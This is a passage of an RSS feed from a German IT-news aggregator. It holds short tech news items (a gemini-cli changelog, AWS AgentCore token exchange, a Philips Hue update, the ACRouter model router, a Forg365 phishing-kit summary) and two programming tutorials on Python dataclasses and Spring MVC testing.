<li>feat(core): Bump node google-auth-library version to 10.9.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jerrylin3321/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jerrylin3321">@jerrylin3321</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4869745101" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28385" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28385/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28385">#28385</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google-gemini/gemini-cli/compare/v0.52.0-nightly.20260713.gf354eebaf...v0.52.0-nightly.20260714.gfa975395b"><tt>v0.52.0-nightly.20260713.gf354eebaf...v0.52.0-nightly.20260714.gfa975395b</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Implement on-behalf-of token exchange for multi-tenant agents with Amazon Bedrock AgentCore Gateway]]></title>
<description><![CDATA[Building multi-tenant agents with Amazon Bedrock AgentCore and Apply fine-grained access control with Bedrock AgentCore Gateway interceptors establish the conceptual foundation for on-behalf-of (OBO) token exchange in agentic systems. This post is the implementation guide. It walks through a comp...]]></description>
<link>https://tsecurity.de/de/3666058/ai-nachrichten/implement-on-behalf-of-token-exchange-for-multi-tenant-agents-with-amazon-bedrock-agentcore-gateway/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666058/ai-nachrichten/implement-on-behalf-of-token-exchange-for-multi-tenant-agents-with-amazon-bedrock-agentcore-gateway/</guid>
<pubDate>Mon, 13 Jul 2026 19:34:17 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Building multi-tenant agents with Amazon Bedrock AgentCore and Apply fine-grained access control with Bedrock AgentCore Gateway interceptors establish the conceptual foundation for on-behalf-of (OBO) token exchange in agentic systems. This post is the implementation guide. It walks through a complete multi-tenant OBO setup against Okta, shows the JSON Web Token (JWT) claim transformations on each hop, and demonstrates how audience binding produces defense in depth that scales across tenants.]]></content:encoded>
</item>
<item>
<title><![CDATA[Philips Hue: Update erleichtert MotionAware-Setup und WLAN-Reconnect]]></title>
<description><![CDATA[Die Servicenachricht für alle, die im Smart Home auf Philips Hue setzen: Signify hat ein frisches Update für die Hue-App veröffentlicht, das ein paar  Verbesserungen mitbringt. Zum einen haben die Entwickler an der Einrichtung der MotionAware-Bereiche geschraubt. Das Finden und...Zum Beitrag: Phi...]]></description>
<link>https://tsecurity.de/de/3666017/it-nachrichten/philips-hue-update-erleichtert-motionaware-setup-und-wlan-reconnect/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666017/it-nachrichten/philips-hue-update-erleichtert-motionaware-setup-und-wlan-reconnect/</guid>
<pubDate>Mon, 13 Jul 2026 19:19:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Die Servicenachricht für alle, die im Smart Home auf Philips Hue setzen: Signify hat ein frisches Update für die Hue-App veröffentlicht, das ein paar  Verbesserungen mitbringt. Zum einen haben die Entwickler an der Einrichtung der MotionAware-Bereiche geschraubt. Das Finden und...<p>Zum Beitrag: <a href="https://stadt-bremerhaven.de/philips-hue-update-erleichtert-motionaware-setup-und-wlan-reconnect/">Philips Hue: Update erleichtert MotionAware-Setup und WLAN-Reconnect</a>
</p><p>
Wo du uns folgen kannst:
<a href="http://www.facebook.com/CaschysBlog">Facebook</a>, <a href="https://www.reddit.com/r/CaschysBlog/">Reddit</a>, <a href="https://news.google.com/publications/CAAqMQgKIitDQklTR2dnTWFoWUtGSE4wWVdSMExXSnlaVzFsY21oaGRtVnVMbVJsS0FBUAE?ceid=DE:de&amp;oc=3">Google News</a>, <a href="https://x.com/CaschysBlog">X</a>, <a href="https://www.threads.com/@caschysblog">Threads</a>
<br>
</p><div>
    <strong>Auf dem Laufenden bleiben?</strong>
    <br>
    <a href="https://www.google.com/preferences/source?q=stadt-bremerhaven.de">Fügt uns doch bei Google als bevorzugte Quelle hinzu!</a>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[ACRouter picks the smartest AI model per task, beating Opus-only setups by 2.6x on cost]]></title>
<description><![CDATA[Model routing is becoming a key component of the enterprise AI stack, dynamically sending prompts to the right AI model to optimize speed and costs. However, current frameworks mostly treat routing as a static classification problem, which severely limits their potential.A new open-source framewo...]]></description>
<link>https://tsecurity.de/de/3665936/it-nachrichten/acrouter-picks-the-smartest-ai-model-per-task-beating-opus-only-setups-by-26x-on-cost/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665936/it-nachrichten/acrouter-picks-the-smartest-ai-model-per-task-beating-opus-only-setups-by-26x-on-cost/</guid>
<pubDate>Mon, 13 Jul 2026 18:48:17 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Model routing is becoming a key component of the enterprise AI stack, dynamically sending prompts to the right AI model to optimize speed and costs. However, current frameworks mostly treat routing as a static classification problem, which severely limits their potential.</p><p>A new open-source framework called <a href="https://arxiv.org/abs/2606.22902">Agent-as-a-Router</a> tackles this bottleneck, treating the router as a dynamic, memory-building agent. It uses a Context-Action-Feedback (C-A-F) loop to track model successes and failures and update the behavior of the router. </p><p>The researchers also released ACRouter, a concrete implementation of this paradigm. In their tests, ACRouter significantly outperformed static routers and the expensive strategy of defaulting to premium models, all without requiring teams to train massive models or write endless heuristics.</p><p>For real-world applications, this framework provides the option to replace hard-coded AI infrastructure with self-optimizing systems that can adapt to changes in user behavior and foundation models used in the enterprise AI stack. </p><h2>The economics of routing and the information deficit</h2><p>Single-model setups are useful for experiments but detrimental when scaling AI applications. AI engineers use <a href="https://venturebeat.com/orchestration/enterprises-using-multiple-ai-models-are-underestimating-failure-rates-by-2-25x">model routing</a> to map tasks to cheaper and faster open models when possible, while reserving expensive frontier models for complex reasoning. </p><p>Currently, developers rely on two main mechanisms for this task. The first is heuristics-based routing, which relies on hard-coded manual rules. For example, a developer might write a rule dictating that if a prompt contains certain keywords, it is routed to GPT-5.5. Otherwise, it goes to a self-hosted open source model like Kimi K2.7. </p><p>The second mechanism is static trained policies. These are machine learning classifiers trained on historical datasets that look at the prompt's embeddings and predict the best model based on past training data.</p><p>Both approaches are static. When the researchers tested these existing mechanisms on real-world coding and agentic workflows, they found a hard ceiling on accuracy. The key finding shows that static routers suffer from a severe information deficit. Because they only evaluate the input text and never see if the model actually succeeded in executing the task, they guess blindly when faced with complex edge cases.</p><p>This results in three distinct points of failure. First, static routers suffer from a frozen information state, meaning they cannot accumulate new execution feedback during deployment. Second, they fail in out-of-distribution (OOD) generalization. They break down during day-two operations when enterprise data or user behavior shifts because their training data no longer matches reality. Finally, they are highly vulnerable to model churn. A static classifier trained on today's models may become obsolete when a better model drops the following week.</p><h2>Agent-as-a-Router: A self-evolving system</h2><p>The core thesis of the Agent-as-a-Router is that a truly effective router must acquire and accumulate execution-grounded information during deployment, essentially learning on the job. </p><p>The researchers achieved this through the C-A-F loop. When a new prompt arrives, the router examines the prompt and task metadata, such as the programming language or difficulty. It then searches its historical memory for similar tasks to see which models succeeded or failed in the past. The router uses this context to select the target model and execute the task. Finally, the system observes the real-world outcome, extracts a success or failure signal, and writes this feedback back into its memory to inform future routing decisions.</p><p>Consider an automated enterprise data analytics pipeline. The router receives a SQL generation task and sends it to an open-source model like Kimi. The model hallucinates a column name and fails to compile the SQL. The C-A-F loop observes the compiler error, registers it as feedback, and logs it. The next time a similar obscure SQL query arrives, the router checks its context and routes the task to a more advanced model like Claude Opus 4.8. </p><h2>ACRouter</h2><p>The researchers developed ACRouter as the concrete instantiation of this framework. It is composed of three core components: the Orchestrator, the Verifier, and Memory. This architecture is supported by a tool layer to physically execute the C-A-F loop.</p><p>The Memory module powers the context phase. Built on a vector store, it retrieves relevant past interactions and updates the historical database with new outcomes. The Orchestrator handles the action phase. It processes the user prompt alongside the retrieved memory to select the most capable target model from the available pool. The Verifier manages the feedback phase by evaluating the chosen model's output to generate a clear success or failure signal.</p><p>The tool layer hooks the Verifier into real-world execution environments, like a Python code interpreter, an agentic sandbox, or a database engine. The tool layer allows the system to execute the generated code or query and observe the exact outcome, providing the verifiable signal the router needs to learn.</p><p>The Orchestrator itself is lightweight. Instead of a massive, computationally heavy large language model, the researchers trained a sub-billion parameter adapter based on Qwen 3.5 (0.8B parameters), which means it can be self-hosted on a device of your choice.</p><h2>ACRouter in action: Outperforming the frontier baselines</h2><p>To stress-test the framework, the researchers introduced CodeRouterBench, an evaluation environment comprising roughly 10,000 tasks with verified scores across eight frontier models, including Claude Opus 4.6, GPT-5.4, Qwen3-Max, and GLM-5. The evaluation was split between in-distribution (ID) tests (covering nine single-turn coding dimensions like algorithm design and test generation) and an out-of-distribution (OOD) agentic programming testbed. The OOD tasks were qualitatively different, requiring multi-step planning, file navigation, and iterative debugging to see if the router could adapt to fundamentally new domains.</p><p>The baseline results revealed why a single-model strategy is flawed: no single model dominates every category. For example, while Claude Opus 4.6 achieved the highest average performance, it was outperformed in algorithm design by GLM-5 (an 86% relative improvement) and in test generation by Qwen3-Max (a 111% improvement), despite Opus costing roughly 12 times as much as smaller models like Kimi-K2.5. </p><p>In the benchmarks, static routers continuously failed by sending a specific niche coding task to a model ill-equipped for that exact syntax. The static router had no way to know the code was failing to execute. In contrast, ACRouter adjusted its strategy after receiving negative feedback signal from the execution environment. </p><p>According to the researchers' benchmarking, ACRouter sits firmly at the Pareto frontier of cost and performance. On both the ID task streams and the complex OOD agentic tests, ACRouter achieved the lowest cumulative regret, a metric measuring sub-optimal routing decisions over time. On the in-distribution test set, ACRouter cost $13.21 across the full task run, compared to $34.02 for always defaulting to Opus — a 2.6x savings.</p><p>It dynamically matched tasks to the most capable model for that specific niche, suggesting that enterprises can achieve or exceed frontier-level accuracy across diverse workloads without paying a premium price for every query. </p><h2>Caveats, limitations, and how to get started</h2><p>While the Agent-as-a-Router paradigm solves the information deficit, it is not a blanket solution for all AI workflows. </p><p>The framework shines in verifiable tasks where the Verifier gets a clear success or failure signal from the environment, such as coding or data retrieval. It is effective for applications with distribution shifts and domains where different models excel in completely distinct niches. </p><p>Conversely, the setup is overkill for trivial tasks where any model will suffice, or for low-volume applications that do not justify the engineering overhead. It is also unsuitable for subjective domains, such as creative writing, where a correct answer cannot be easily verified and feedback signals are impossible to standardize.</p><p>The researchers open-sourced <a href="https://github.com/LanceZPF/agent-as-a-router">the code on GitHub</a> and released the <a href="https://huggingface.co/Lance1573/acrouter-qwen35-08b-router-lora">orchestrator model weights on Hugging Face</a> under the Apache 2.0 license. The router is compatible with Claude Code, Codex, and OpenCode.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Forg365: PhaaS mit Device-Code-Phishing und AitM für Microsoft-365-Übernahmen]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Forg365 industrialisiert Phishing gegen Microsoft 365: Device-Code-Seiten, AitM-Techniken und KI-gestützte Lures koppeln die Kampagnen an echte OAuth-Token und Session-Cookies. Angreifer verwalten alles über ein Telegram-basiertes Setup plus ein Operator-Panel im Klartext. ...]]></description>
<link>https://tsecurity.de/de/3665813/it-security-nachrichten/forg365-phaas-mit-device-code-phishing-und-aitm-fuer-microsoft-365-uebernahmen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665813/it-security-nachrichten/forg365-phaas-mit-device-code-phishing-und-aitm-fuer-microsoft-365-uebernahmen/</guid>
<pubDate>Mon, 13 Jul 2026 18:22:39 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-forg365-phishing-device-code-aitm.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-forg365-phishing-device-code-aitm.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-forg365-phishing-device-code-aitm-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-forg365-phishing-device-code-aitm-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-forg365-phishing-device-code-aitm-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-forg365-phishing-device-code-aitm-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-forg365-phishing-device-code-aitm-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – Forg365 industrialisiert Phishing gegen Microsoft 365: Device-Code-Seiten, AitM-Techniken und KI-gestützte Lures koppeln die Kampagnen an echte OAuth-Token und Session-Cookies. Angreifer verwalten alles über ein Telegram-basiertes Setup plus ein Operator-Panel im Klartext. Besonders kritisch ist eine Erweiterung, die Microsoft-SSO-Cookies im Browser gezielt „auffrischt“, damit Zugriffe dauerhaft bleiben. Der Angriff wird durch Infrastruktur-Checks, […]</p>
<div><a href="https://www.it-boltwise.de/forg365-phaas-mit-device-code-phishing-und-aitm-fuer-microsoft-365-uebernahmen.html">... den vollständigen Artikel <strong>»Forg365: PhaaS mit Device-Code-Phishing und AitM für Microsoft-365-Übernahmen«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/forg365-phaas-mit-device-code-phishing-und-aitm-fuer-microsoft-365-uebernahmen.html">Forg365: PhaaS mit Device-Code-Phishing und AitM für Microsoft-365-Übernahmen</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to use Python dataclasses]]></title>
<description><![CDATA[Everything in Python is an object, or so the saying goes. If you want to create your own custom objects, with their own properties and methods, you use Python’s class object to do it. But creating classes in Python sometimes means writing loads of repetitive, boilerplate code; for example, to set...]]></description>
<link>https://tsecurity.de/de/3665679/ai-nachrichten/how-to-use-python-dataclasses/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665679/ai-nachrichten/how-to-use-python-dataclasses/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:45 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Everything in <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html">Python</a> is an object, or so the saying goes. If you want to create your own custom objects, with their own properties and methods, you use Python’s <code>class</code> object to do it. But creating classes in Python sometimes means writing loads of repetitive, boilerplate code; for example, to set up the class instance from the parameters passed to it or to create common functions like comparison operators.</p>



<p class="wp-block-paragraph">Dataclasses, introduced in Python 3.7 (<a href="https://pypi.org/project/dataclasses/">and backported to Python 3.6</a>), provide a handy, less-verbose way to create classes. Many of the common things you do in a class, like instantiating properties from the arguments passed to the class, can be reduced to a few basic instructions by using dataclasses.</p>



<h2 class="wp-block-heading">The backstage power of Python dataclasses</h2>



<p class="wp-block-paragraph">Consider this example of a conventional class in Python:</p>



<pre class="wp-block-code"><code>
class Book:
    '''Object for tracking physical books in a collection.'''
    def __init__(self, name: str, weight: float, shelf_id:int = 0):
        self.name = name
        self.weight = weight # in grams, for calculating shipping
        self.shelf_id = shelf_id
    def __repr__(self):
        return(f"Book(name={self.name!r},
            weight={self.weight!r}, shelf_id={self.shelf_id!r})")
</code></pre>



<p class="wp-block-paragraph">The biggest headache here is that you must copy each of the arguments passed to <code>__init__</code> to the object’s properties. This isn’t so bad if you’re only dealing with <code>Book</code>, but what if you have additional classes—say, a <code>Bookshelf</code>, <code>Library</code>, <code>Warehouse</code>, and so on? Plus, typing all that code by hand increases your chances of making a mistake.</p>



<p class="wp-block-paragraph">Here’s the same class implemented as a Python dataclass:</p>



<pre class="wp-block-code"><code>
from dataclasses import dataclass

@dataclass
class Book:
    '''Object for tracking physical books in a collection.'''
    name: str
    weight: float 
    shelf_id: int = 0
</code></pre>



<p class="wp-block-paragraph">When you specify properties, called <em>fields</em>, in a dataclass, the <code>@dataclass</code> decorator automatically generates all the code needed to initialize them. It also preserves the type information for each property, so if you use a linting too that checks type information, it will ensure that you’re supplying the right kinds of variables to the class constructor.</p>



<p class="wp-block-paragraph">Another thing <code>@dataclass</code> does behind the scenes is to automatically create code for common dunder methods in the class. In the conventional class above, we had to create our own <code>__repr__</code>. In the dataclass, the <code>@dataclass</code> decorator generates the <code>__repr__</code> for you. While you still can override the generated code, you don’t need to manually write code for the most common cases.</p>



<p class="wp-block-paragraph">Once a dataclass is created, it is functionally identical to a regular class. There is no performance penalty for using a dataclass. There’s only a small performance penalty for declaring the class as a dataclass, and that’s a one-time cost when the dataclass object is created.</p>



<h2 class="wp-block-heading">Advanced Python dataclass initialization</h2>



<p class="wp-block-paragraph">The dataclass decorator can take <a href="https://docs.python.org/3.11/library/dataclasses.html#dataclasses.dataclass">initialization options of its own</a>. Most of the time, you won’t need to supply them, but they can come in handy for certain edge cases. Here are some of the most useful ones (they’re all <code>True/False</code>):</p>



<ul class="wp-block-list">
<li><code>frozen</code>: Generates class instances that are read-only. Once data has been assigned, it can’t be modified. This is useful if instances of the dataclass are intended to be <em>hashable</em>, which allows them (among other things) to be used as dictionary keys. If you set <code>frozen</code>, the generated dataclass will also automatically have a <code>__hash__</code> method created for it. (You also can use <code>unsafe_hash=true</code> to generate a <code>__hash__</code> method for the dataclass, regardless of whether the dataclass is read-only or not, but that call invokes unsafe behavior.)</li>



<li><code>slots</code>: Allows instances of dataclasses to use less memory by only allowing fields explicitly defined in the class. The memory savings really only manifest at scale — e.g., when generating upwards of thousands of instances of a given object. If you’re only generating a couple of dataclass instances at a time, it probably isn’t worth it.</li>



<li><code>kw_only</code>: This setting makes all fields for the class keyword-only, so they must be defined using keyword arguments rather than positional arguments. This is a useful way to provide a dataclass instance’s arguments by way of a dictionary.</li>
</ul>



<h2 class="wp-block-heading">Customizing Python dataclass fields</h2>



<p class="wp-block-paragraph">How dataclasses work by default should be okay for the majority of use cases. Sometimes, though, you need to fine-tune how the fields in your dataclass are initialized. The following code sample demonstrates how to use the <code>field</code> function for fine-tuning:</p>



<pre class="wp-block-code"><code>
from dataclasses import dataclass, field
from typing import List

@dataclass
class Book:
    '''Object for tracking physical books in a collection.'''
    name: str     
    condition: str = field(compare=False)    
    weight: float = field(default=0.0, repr=False)
    shelf_id: int = 0
    chapters: List[str] = field(default_factory=list)
</code></pre>



<p class="wp-block-paragraph">When you set a default value to an instance of <code>field</code>, it changes how the field is set up depending on what parameters you provide. These are the most commonly-used options for <code>field</code> (though there are others):</p>



<ul class="wp-block-list">
<li><code>default</code>: Sets the default value for the field. You should use <code>default</code> if you a) use <code>field</code> to change any other parameters for the field, and b) want to set a default value on the field on top of that. In the above example, we used default to set <code>weight</code> to 0.0.</li>



<li><code>default_factory</code>: Provides the name of a function, which takes no parameters, that returns some object to serve as the default value for the field. In the example, we wanted <code>chapters</code> to be an empty list.</li>



<li><code>repr</code>: By default <code>(True)</code>, controls if the field in question shows up in the automatically generated <code>__repr__</code> for the dataclass. In this case, we didn’t want the book’s weight shown in the <code>__repr__</code>, so we used <code>repr=False</code> to omit it.</li>



<li><code>compare</code>: By default <code>(True)</code>, includes the field in the comparison methods automatically generated for the dataclass. Here, we didn’t want <code>condition</code> to be used as part of the comparison for two books, so we set <code>compare=False</code>.</li>
</ul>



<p class="wp-block-paragraph">Note that we adjusted the order of the fields so the non-default fields appeared first.</p>



<h2 class="wp-block-heading">Controlling Python dataclass initialization</h2>



<p class="wp-block-paragraph">At this point, you might be wondering, “How do I get control over the init process to make more fine-grained changes if the <code>__init__</code> method of a dataclass is generated automatically?” In these cases, you can use the <code>__post_init__</code> method or or <code>InitVar</code> type. </p>



<h3 class="wp-block-heading">__post_init__</h3>



<p class="wp-block-paragraph">If you include the <code>__post_init__</code> method in your dataclass definition, you can provide instructions for modifying fields or other instance data:</p>



<pre class="wp-block-code"><code>
from dataclasses import dataclass, field
from typing import List

@dataclass
class Book:
    '''Object for tracking physical books in a collection.'''
    name: str    
    weight: float = field(default=0.0, repr=False)
    shelf_id: Optional[int] = field(init=False)
    chapters: List[str] = field(default_factory=list)
    condition: str = field(default="Good", compare=False)

    def __post_init__(self):
        if self.condition == "Discarded":
            self.shelf_id = None
        else:
            self.shelf_id = 0
</code></pre>



<p class="wp-block-paragraph">In this example, we’ve created a <code>__post_init__</code> method to set <code>shelf_id</code> to <code>None</code> if the book’s condition is initialized as <code>"Discarded"</code>. Note how we use <code>field</code> to initialize <code>shelf_id</code>, and pass <code>init</code> as <code>False</code> to <code>field</code>. This means <code>shelf_id</code> won’t be initialized in <code>__init__</code>, but it <em>is</em> registered as a <code>field</code> with the dataclass overall, with type <code>information</code>.</p>



<h3 class="wp-block-heading">InitVar</h3>



<p class="wp-block-paragraph">Another way to customize Python dataclass setup is to use the <code>InitVar</code> type. This lets you specify a field that will be passed to <code>__init__</code> and then to <code>__post_init__</code>, but won’t be stored in the class instance.</p>



<p class="wp-block-paragraph">By using <code>InitVar</code>, you can take in parameters when setting up the dataclass that are only used during initialization. Here’s an example:</p>



<pre class="wp-block-code"><code>
from dataclasses import dataclass, field, InitVar
from typing import List

@dataclass
class Book:
    '''Object for tracking physical books in a collection.'''
    name: str     
    condition: InitVar[str] = "Good"
    weight: float = field(default=0.0, repr=False)
    shelf_id: int = field(init=False)
    chapters: List[str] = field(default_factory=list)

    def __post_init__(self, condition):
        if condition == "Unacceptable":
            self.shelf_id = None
        else:
            self.shelf_id = 0
</code></pre>



<p class="wp-block-paragraph">Setting a field’s type to <code>InitVar</code> (with its subtype being the actual field type) signals to <code>@dataclass</code> to not make that field into a dataclass field, but to pass the data along to <code>__post_init__</code> as an argument.</p>



<p class="wp-block-paragraph">In this version of our <code>Book</code> class, we’re not storing <code>condition</code> as a field in the class instance. We’re only using <code>condition</code> during the initialization phase. If we find that condition was set to <code>"Unacceptable"</code>, we set <code>shelf_id</code> to <code>None</code>—but we don’t store <code>condition</code> itself in the class instance.</p>



<h2 class="wp-block-heading">When to use Python dataclasses, and when not to</h2>



<p class="wp-block-paragraph">One common scenario for using dataclasses is to <em>replace the namedtuple</em>. Dataclasses offer the same behaviors and more, and they can be made immutable (as <a href="https://docs.python.org/3/library/collections.html#collections.namedtuple">namedtuples</a> are) by simply using <code>@dataclass(frozen=True)</code> as the decorator.</p>



<p class="wp-block-paragraph">Another possible use case is <em>replacing nested dictionaries</em> (which can be clumsy) with nested instances of dataclasses. If you have a dataclass <code>Library</code>, with a list property of <code>shelves</code>, you could use a dataclass <code>ReadingRoom</code> to populate that list, then add methods to make it easy to access nested items (e.g., a book on a shelf in a particular room).</p>



<p class="wp-block-paragraph">It’s also important to note, though, that <em>not every Python class needs to be a dataclass</em>. If you’re creating a class mainly to group together a bunch of static methods, rather than as a container for data, you don’t need to make it a dataclass. For instance, a common pattern with parsers is to have a class that takes in an abstract syntax tree, walks the tree, and dispatches calls to different methods in the class based on the node type. Because the parser class has very little data of its own, a dataclass isn’t useful here.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Unit testing Spring MVC applications with JUnit 5]]></title>
<description><![CDATA[Spring is a reliable and popular framework for building web and enterprise Java applications. In this article, you’ll learn how to unit test each layer of a Spring MVC application, using built-in testing tools from JUnit 5 and Spring to mock each component’s dependencies. In addition to unit test...]]></description>
<link>https://tsecurity.de/de/3665676/ai-nachrichten/unit-testing-spring-mvc-applications-with-junit-5/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665676/ai-nachrichten/unit-testing-spring-mvc-applications-with-junit-5/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:41 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/4083578/a-fresh-look-at-the-spring-framework.html" data-type="link" data-id="https://www.infoworld.com/article/4083578/a-fresh-look-at-the-spring-framework.html">Spring</a> is a reliable and popular framework for building web and enterprise <a href="https://www.infoworld.com/java/">Java</a> applications. In this article, you’ll learn how to unit test each layer of a Spring MVC application, using built-in testing tools from <a href="https://www.infoworld.com/article/3993538/how-to-test-your-java-applications-with-junit-5.html">JUnit 5</a> and Spring to mock each component’s dependencies. In addition to unit testing with MockMvc, Mockito, and Spring’s <code>TestEntityManager</code>, I’ll also briefly introduce slice testing using the <code>@WebMvcTest</code> and <code>@DataJpaTest</code> annotations, used to optimize unit tests on web controllers and databases.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/3993538/how-to-test-your-java-applications-with-junit-5.html">How to test your Java applications with JUnit 5</a>.</strong></p>



<h2 class="wp-block-heading">Overview of testing Spring MVC applications</h2>



<p class="wp-block-paragraph">Spring MVC applications are defined using three technology layers:</p>



<ul class="wp-block-list">
<li><em>Controllers</em> accept web requests and return web responses.</li>



<li><em>Services</em> implement the application’s business logic.</li>



<li><em>Repositories</em> persist data to and from your back-end <a href="https://www.infoworld.com/article/2337457/sql-at-50-whats-next-for-the-structured-query-language.html">SQL</a> or <a href="https://www.infoworld.com/article/2260280/what-is-nosql-databases-for-a-cloud-scale-future.html">NoSQL</a> database.</li>
</ul>



<p class="wp-block-paragraph">When we unit test Spring MVC applications, we test each layer separately from the others. We create mock implementations, typically using <a href="https://site.mockito.org/">Mockito</a>, for each layer’s dependencies, then we simulate the logic we want to test. For example, a controller may call a service to retrieve a list of objects. When testing the controller, we create a mock service that either returns the list of objects, returns an empty list, or throws an exception. This test ensures the controller behaves correctly.</p>



<p class="wp-block-paragraph">We’ll use Spring MVC to build and test a simple web service that manages widgets. The structure of the web service is shown here:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/10/TestingSpringMVC-fig1.png?w=1024" alt="Diagram of a Spring MVC web service application." class="wp-image-4078126" width="1024" height="286" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Steven Haines</p></div>



<p class="wp-block-paragraph">This is a classic MVC pattern. We have a <em>widget controller</em> that handles <a href="https://www.infoworld.com/article/2334742/what-is-rest-the-de-facto-web-architecture-standard.html">RESTful requests</a> and delegates its business functionality to a <em>widget service</em>, which uses a <em>widget repository</em> to persist widgets to and from an in-memory H2 database.</p>



<p class="wp-block-paragraph"><strong>Get the source: <a href="https://b2b-contenthub.com/wp-content/uploads/2025/10/spring-mvc-unit-testing-iw.zip" data-type="link" data-id="https://b2b-contenthub.com/wp-content/uploads/2025/10/spring-mvc-unit-testing-iw.zip">Download the source code for this article</a>.</strong></p>



<h2 class="wp-block-heading">Unit testing a Spring MVC controller with MockMvc</h2>



<p class="wp-block-paragraph">Setting up a Spring MVC controller test is a two-step process:</p>



<ul class="wp-block-list">
<li>Annotate your test class with <code>@WebMvcTest</code>.</li>



<li>Autowire a <code>MockMvc</code> instance into your controller.</li>
</ul>



<p class="wp-block-paragraph">We could annotate all our test classes with <code>@SpringBootTest</code>, but we’ll use <code>@WebMvcTest</code> instead. The reason is that the <code>@WebMvcTest</code> annotation is used for <em>slice testing</em>. Whereas <code>@SpringBootTest</code> loads your entire Spring application context, <code>@WebMvcTest</code> loads only your web-related resources. Furthermore, if you specify a controller class in the annotation, it will only load the specific controller you want to test. Testing a single “slice” of your application reduces both the amount of compute resources required to set up the test and the time required to run a test.</p>



<p class="wp-block-paragraph">For example, when we test a controller, we’ll mock just the services it uses, and we won’t need any repositories at all. If we don’t need them, then we needn’t waste time loading them. Slice tests were created to make tests perform better and run faster.</p>



<p class="wp-block-paragraph">Here’s the source code for the <code>Widget</code> class we’ll be managing:</p>



<pre class="wp-block-code"><code>package com.infoworld.widgetservice.model;
import jakarta.persistence.Entity;
import jakarta.persistence.GeneratedValue;
import jakarta.persistence.GenerationType;
import jakarta.persistence.Id;

@Entity
public class Widget {
    @Id
    @GeneratedValue(strategy = GenerationType.AUTO)
    private Long id;
    private String name;
    private int version;

    public Widget() {
    }

    public Widget(String name) {
        this.name = name;
    }

    public Widget(String name, int version) {
        this.name = name;
        this.version = version;
    }

    public Widget(Long id, String name, int version) {
        this.id = id;
        this.name = name;
        this.version = version;
    }

    public Long getId() {
        return id;
    }

    public void setId(Long id) {
        this.id = id;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getVersion() {
        return version;
    }

    public void setVersion(int version) {
        this.version = version;
    }
}</code></pre>



<p class="wp-block-paragraph">A <code>Widget</code> is a <a href="https://www.infoworld.com/article/2259807/what-is-jpa-introduction-to-the-java-persistence-api.html">JPA entity</a> that manages three fields:</p>



<ul class="wp-block-list">
<li><em>id</em> is the primary key of the table, annotated with <code>@Id</code> and <code>@GeneratedValue</code>, with an automatic generation strategy.</li>



<li><em>name</em> is the name of the widget.</li>



<li><em>version</em> is the version of the widget resource. We’ll use this value to populate our <code>eTag</code> value and check it in our <code>PUT</code> operation’s <code>If-Match </code>header value. This ensures the widget being updated is not stale.</li>
</ul>



